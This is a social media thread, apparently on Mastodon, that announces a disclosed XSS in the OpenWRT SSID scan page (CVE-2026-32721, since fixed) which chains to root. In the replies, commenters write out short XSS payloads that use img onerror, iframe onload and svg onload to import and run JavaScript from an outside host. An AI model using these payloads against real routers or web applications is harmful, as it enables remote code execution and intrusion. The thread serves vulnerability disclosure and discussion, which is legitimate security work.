Rooting OpenWRT from the parking lot: I discovered an XSS in the OpenWRT SSID scan page, that can be chained to remote root access 👾
Write-up and demo: https://mxsasha.eu/posts/openwrt-ssid-xss-to-root/
CVE-2026-32721, fixed in 24.10.6 / 25.12.1

@sash Ah, that's why the OpenWRT firmware build service is overloaded! 🫠

Thanks for your efforts, I'm in awe of those who do this work to help keep the rest of us a little safer.

@sash hmmm I really need to update my router huh
@lunareclipse or just don't open that scan page ;)

@sash TIL that this works:

<a id=s href=//domain/x.js>
<img src=x onerror=import(s)>

This might come in handy in future pentests :)

@BafDyce Yeah that took me a bit of time to find. An alert(1) fits easy of course, but I have the most fun if I can show a full running exploitation to something practical :)
@sash wow looks like a lot of people are upgrading right now, judging by the ASU server stats 🫣

@sash
Thanks for the heads up! I frequent the forums but it's been a couple of days since my last visit so I missed this one. It seems the release was announced 17h ago.

Now, if this was found in a commercial router firmware, how quickly would you guess there'd be a fix available?

I'd say weeks, or maybe months.

edit: hashtag for better reach #OpenWRT

@sash what a find. thanks for sharing, friend. ✌️💙
@sash funny coincidence, I fixed the same class of bug at work recently
@uvok there's a lot of these, I've been playing with it a lot over the last year, and I have some more fun ones in my queue waiting for release :)

@sash very cool find! I think it would be possible to fit it (just) in 32 characters with: <iframe onload=import('//d.cx')>

(That url works; d.cx is serving a hello world alert payload at the moment, it works with e.g. https://d.cx/~dgl/l.html but I haven't tried actually doing it with OpenWRT.)

@sash this takes advantage of the fact (some?) browsers by default load a blank iframe, so it's fewer characters than <img src=x onerror=...>. Works in Chrome at least.
@dgl @sash `<svg onload>` works in every browser and is shorter :). But maybe you don’t want your PoC to depend on the goodwill of a third party. And not everyone has a short domain.
@freddy @sash interesting… https://developer.mozilla.org/en-US/docs/Web/API/SVGElement/load_event claims it doesn’t work in Firefox and references a 15 year old bug… but yes, that would get a few more characters :)
SVGElement: load event - Web APIs | MDN

The load event fires on an SVGElement when it is loaded in the browser, e.g., in the DOM in the case of an embedded <svg>. It is basically the same as the standard load DOM event.

MDN Web Docs
@dgl @sash mh. I have used it multiple times, probably wrong data. I'll get that sorted out.
@dgl @sash ok looks like the docs are "technically correct" because something in the implementation is not fully according to spec (load timing etc). But you can still run `<svg onload=...>`.